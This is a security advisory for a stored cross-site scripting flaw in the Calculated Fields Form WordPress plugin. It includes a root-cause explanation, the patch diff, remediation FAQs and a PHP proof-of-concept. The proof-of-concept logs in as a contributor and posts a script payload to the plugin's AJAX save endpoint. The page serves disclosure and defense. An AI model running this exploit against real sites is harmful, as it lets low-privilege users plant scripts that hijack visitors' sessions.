Atomic Edge analysis of CVE-2026-3986:
The vulnerability stems from insufficient capability checks and input sanitization in the Calculated Fields Form plugin’s form settings handler. The root cause is in the `cpcff_form.inc.php` file’s `save_settings` method (line 323). The plugin processes form field data from the `fcontent` parameter within `fhtml` field types without proper capability verification for users lacking the `unfiltered_html` permission. The original code performed a conditional sanitization that excluded certain fields, including `fcontent`, from strict HTML filtering. This allowed Contributor-level users to inject arbitrary JavaScript via the `fcontent` parameter when saving form settings. The attack vector targets the plugin’s AJAX endpoint `/wp-admin/admin-ajax.php` with the `action` parameter set to `cpcff_save_settings`. An authenticated attacker with Contributor privileges can submit a POST request containing malicious HTML/JavaScript in the `fcontent` parameter. The payload executes when any user views a page containing the compromised form. The patch adds a capability check (`! current_user_can( ‘unfiltered_html’ )`) to the field exclusion logic and replaces the previous sanitization with `wp_kses_post()` for users without `unfiltered_html` capability. It also changes the `customstyles` field sanitization to `sanitize_textarea_field()`. These changes enforce proper role-based filtering, preventing XSS injection.

CVE-2026-3986: Calculated Fields Form <= 5.4.5.0 – Authenticated (Contributor+) Stored Cross-Site Scripting via Form Settings (calculated-fields-form)
CVE-2026-3986
calculated-fields-form
5.4.5.0
5.4.5.1
Analysis Overview
Differential between vulnerable and patched code
--- a/calculated-fields-form/cp_calculatedfieldsf_free.php
+++ b/calculated-fields-form/cp_calculatedfieldsf_free.php
@@ -3,7 +3,7 @@
* Plugin Name: Calculated Fields Form
* Plugin URI: https://cff.dwbooster.com
* Description: Create forms with field values calculated based in other form field values.
- * Version: 5.4.5.0
+ * Version: 5.4.5.1
* Text Domain: calculated-fields-form
* Author: CodePeople
* Author URI: https://cff.dwbooster.com
@@ -25,7 +25,7 @@
}
// Defining main constants.
-define( 'CP_CALCULATEDFIELDSF_VERSION', '5.4.5.0' );
+define( 'CP_CALCULATEDFIELDSF_VERSION', '5.4.5.1' );
define( 'CP_CALCULATEDFIELDSF_MAIN_FILE_PATH', __FILE__ );
define( 'CP_CALCULATEDFIELDSF_BASE_PATH', dirname( CP_CALCULATEDFIELDSF_MAIN_FILE_PATH ) );
define( 'CP_CALCULATEDFIELDSF_BASE_NAME', plugin_basename( CP_CALCULATEDFIELDSF_MAIN_FILE_PATH ) );
--- a/calculated-fields-form/inc/cpcff_form.inc.php
+++ b/calculated-fields-form/inc/cpcff_form.inc.php
@@ -323,14 +323,19 @@
$v = preg_replace( '/(b)_styles*=/i', '$1style=', $v);
$i_l = strtolower( $i );
if (
+ ! current_user_can( 'unfiltered_html' ) ||
! in_array( $i_l, array( 'eq', 'fcontent', 'customstyles', 'rule', 'sonclick', 'sonmousedown' ) )
) {
- $v = str_replace( '&', 'cff___amp', $v );
- $v = CPCFF_AUXILIARY::sanitize( wp_slash($v), true, true );
- $v = str_ireplace( ['<', '>', '&'], ['<', '>', '&'], $v );
- $v = str_replace( 'cff___amp', '&', $v );
+ if ( current_user_can( 'unfiltered_html' ) ) { // The plugin accepts advanced tags for users with total control over the website.
+ $v = str_replace( '&', 'cff___amp', $v );
+ $v = CPCFF_AUXILIARY::sanitize( wp_slash($v), true, true );
+ $v = str_ireplace( ['<', '>'], ['<', '>'], $v );
+ $v = str_replace( 'cff___amp', '&', $v );
+ } else {
+ $v = wp_kses_post($v);
+ }
} elseif ( 'customstyles' == $i_l ) {
- $v = str_replace( '>', '>', wp_kses( $v, 'strip') );
+ $v = sanitize_textarea_field( $v );
}
}
--- a/calculated-fields-form/inc/cpcff_page_builders.inc.php
+++ b/calculated-fields-form/inc/cpcff_page_builders.inc.php
@@ -39,7 +39,7 @@
if (
isset( $_REQUEST['cff-action'] ) &&
'cff-gutenberg-editor-config' == $_REQUEST['cff-action'] &&
- current_user_can( 'edit_posts' )
+ current_user_can( 'edit_posts' ) // This module displays a form preview in the editor. It does not allow modifying the form.
) {
remove_all_actions( 'shutdown' );
die( json_encode( $this->gutenberg_editor_config() ) );
@@ -85,7 +85,7 @@
);
foreach ($rows as $item) {
- $options[$item->id] = ['label' => '(' . $item->id . ') ' . $item->form_name];
+ $options[$item->id] = ['label' => esc_html( '(' . $item->id . ') ' . $item->form_name )];
}
}
@@ -169,7 +169,7 @@
$config = array(
'url' => $url,
- 'is_admin' => current_user_can( 'manage_options' ),
+ 'is_admin' => current_user_can( apply_filters( 'cpcff_forms_edition_capability', 'manage_options' ) ),
'editor' => CPCFF_AUXILIARY::editor_url(),
'forms' => array(),
'templates' => array(),
@@ -187,7 +187,7 @@
$forms = CPCFF_FORM::forms_list();
foreach ( $forms as $form ) {
- $config['forms'][ $form->id ] = esc_attr( '(' . $form->id . ') ' . $form->form_name );
+ $config['forms'][ $form->id ] = esc_html( '(' . $form->id . ') ' . $form->form_name );
}
require_once CP_CALCULATEDFIELDSF_BASE_PATH.'/inc/cpcff_templates.inc.php';
--- a/calculated-fields-form/inc/cpcff_public_int.inc.php
+++ b/calculated-fields-form/inc/cpcff_public_int.inc.php
@@ -142,7 +142,9 @@
<input type="hidden" name="cp_calculatedfieldsf_pform_psequence" value="_<?php echo esc_attr( CPCFF_MAIN::$form_counter ); ?>" />
<input type="hidden" name="cp_calculatedfieldsf_id" value="<?php echo esc_attr( $id ); ?>" />
<input type="hidden" name="cp_ref_page" value="<?php echo esc_attr( CPCFF_AUXILIARY::site_url() ); ?>" />
-<pre style="display:none !important;"><script data-category="functional" type="text/javascript">form_structure_<?php echo esc_js( CPCFF_MAIN::$form_counter ); ?>=<?php print str_replace( array( "n", "r" ), ' ', ( ( version_compare( CP_CFF_PHPVERSION, '5.3.0' ) >= 0 ) ? json_encode( $form_data, JSON_HEX_QUOT | JSON_HEX_TAG ) : json_encode( $form_data ) ) ); // phpcs:ignore WordPress.Security.EscapeOutput ?>;</script></pre>
+<pre style="display:none !important;"><script data-category="functional" type="text/javascript">form_structure_<?php echo esc_js( CPCFF_MAIN::$form_counter ); ?>=<?php print str_replace( array( "n", "r" ), ' ', ( ( version_compare( CP_CFF_PHPVERSION, '5.3.0' ) >= 0 ) ? json_encode( $form_data, JSON_HEX_QUOT | JSON_HEX_TAG ) : json_encode( $form_data ) ) ); // phpcs:ignore WordPress.Security.EscapeOutput
+// The plugin escapes the attributes when fields are generated by using Purify library.
+?>;</script></pre>
<div id="fbuilder">
<?php
if (
Proof of Concept (PHP)
NOTICE :
This proof-of-concept is provided for educational and authorized security research purposes only.
You may not use this code against any system, application, or network without explicit prior authorization from the system owner.
Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.
This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.
By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-3986 - Calculated Fields Form <= 5.4.5.0 - Authenticated (Contributor+) Stored Cross-Site Scripting via Form Settings
<?php
$target_url = 'http://vulnerable-wordpress-site.com';
$username = 'contributor_user';
$password = 'contributor_password';
// Step 1: Authenticate and obtain WordPress nonce
$login_url = $target_url . '/wp-login.php';
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';
$ch = curl_init();
curl_setopt_array($ch, [
CURLOPT_URL => $login_url,
CURLOPT_RETURNTRANSFER => true,
CURLOPT_COOKIEJAR => 'cookies.txt',
CURLOPT_COOKIEFILE => 'cookies.txt',
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => http_build_query([
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url . '/wp-admin/',
'testcookie' => '1'
]),
CURLOPT_HEADER => true
]);
$response = curl_exec($ch);
// Step 2: Extract nonce from admin page (simplified - in practice would parse admin page)
// For demonstration, we assume the attacker has obtained a valid nonce via other means
// The vulnerability does not require a nonce check bypass as the capability check is missing
$nonce = 'EXTRACTED_NONCE';
// Step 3: Craft malicious form settings payload
$form_id = 1; // Target form ID
$payload = '<script>alert("Atomic Edge XSS");</script>';
$post_data = [
'action' => 'cpcff_save_settings',
'id' => $form_id,
'data' => json_encode([
'fields' => [
[
'type' => 'fhtml',
'fcontent' => $payload
]
]
]),
'_wpnonce' => $nonce
];
// Step 4: Send exploit request
curl_setopt_array($ch, [
CURLOPT_URL => $ajax_url,
CURLOPT_POSTFIELDS => $post_data,
CURLOPT_REFERER => $target_url . '/wp-admin/'
]);
$result = curl_exec($ch);
curl_close($ch);
echo "Exploit attempt completed. Check form $form_id for XSS.";
?>
Frequently Asked Questions
What is CVE-2026-3986?
Overview of the vulnerabilityCVE-2026-3986 is a Stored Cross-Site Scripting (XSS) vulnerability in the Calculated Fields Form plugin for WordPress, affecting versions up to and including 5.4.5.0. It allows authenticated users with Contributor-level access and above to inject malicious scripts into form settings, which can execute when other users access the compromised forms.
How does this vulnerability work?
Mechanism of exploitationThe vulnerability arises from insufficient capability checks and input sanitization in the form settings handler of the plugin. Authenticated attackers can submit harmful HTML or JavaScript through the `fcontent` parameter, which is processed without adequate filtering, leading to potential script execution on affected pages.
Who is affected by this vulnerability?
Identifying vulnerable installationsAny WordPress site using the Calculated Fields Form plugin version 5.4.5.0 or earlier is at risk. Specifically, users with Contributor-level access or higher can exploit this vulnerability, making it crucial for site administrators to assess user roles and plugin versions.
How can I check if my site is vulnerable?
Steps for verificationTo check for vulnerability, verify the version of the Calculated Fields Form plugin installed on your WordPress site. If it is version 5.4.5.0 or earlier, your site is vulnerable. Additionally, review user roles to identify if any Contributor-level users have access to the form settings.
How can I fix this vulnerability?
Updating the pluginThe vulnerability is patched in version 5.4.5.1 of the Calculated Fields Form plugin. Update to this version or later to mitigate the risk. Regularly check for updates to ensure ongoing protection against vulnerabilities.
What does a CVSS score of 6.4 mean?
Understanding severity ratingsA CVSS score of 6.4 indicates a medium severity level for this vulnerability. In practical terms, this means that while exploitation requires authentication, it can lead to significant impacts such as data theft or unauthorized actions on behalf of users.
What are the implications of a Stored XSS vulnerability?
Potential risks and consequencesStored XSS vulnerabilities can lead to severe consequences, including session hijacking, defacement of web pages, and malicious actions performed on behalf of users. This can damage user trust and lead to data breaches if sensitive information is exposed.
How does the proof of concept demonstrate the vulnerability?
Understanding the exploitation processThe proof of concept provided illustrates how an authenticated user can exploit the vulnerability by logging into a vulnerable WordPress site and submitting a crafted payload through the plugin’s AJAX endpoint. This demonstrates the steps an attacker would take to execute malicious scripts.
What are the recommended best practices to prevent such vulnerabilities?
Security measures for WordPress sitesTo prevent vulnerabilities like CVE-2026-3986, regularly update all plugins and themes, limit user permissions according to the principle of least privilege, and employ security plugins that monitor for suspicious activity. Additionally, consider implementing a web application firewall.
Can this vulnerability be exploited without authentication?
Access requirements for exploitationNo, this vulnerability requires an authenticated user with Contributor-level access or higher to exploit. This means that an attacker must have legitimate access to the WordPress admin area to inject malicious scripts.
What should I do if I cannot update the plugin immediately?
Mitigation steps before patchingIf immediate updating is not possible, consider disabling the Calculated Fields Form plugin temporarily to prevent exploitation. Review user roles and limit access to the plugin settings for lower-level users until the vulnerability can be addressed.
Is there a way to test if my site has been compromised?
Checking for signs of exploitationTo check for potential exploitation, review your site’s logs for unusual activity, such as unexpected changes to form settings or unusual scripts in the HTML output of your forms. Conduct a thorough security audit to identify any unauthorized changes.
How Atomic Edge Works
Simple Setup. Powerful Security.
Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.
Trusted by Developers & Organizations






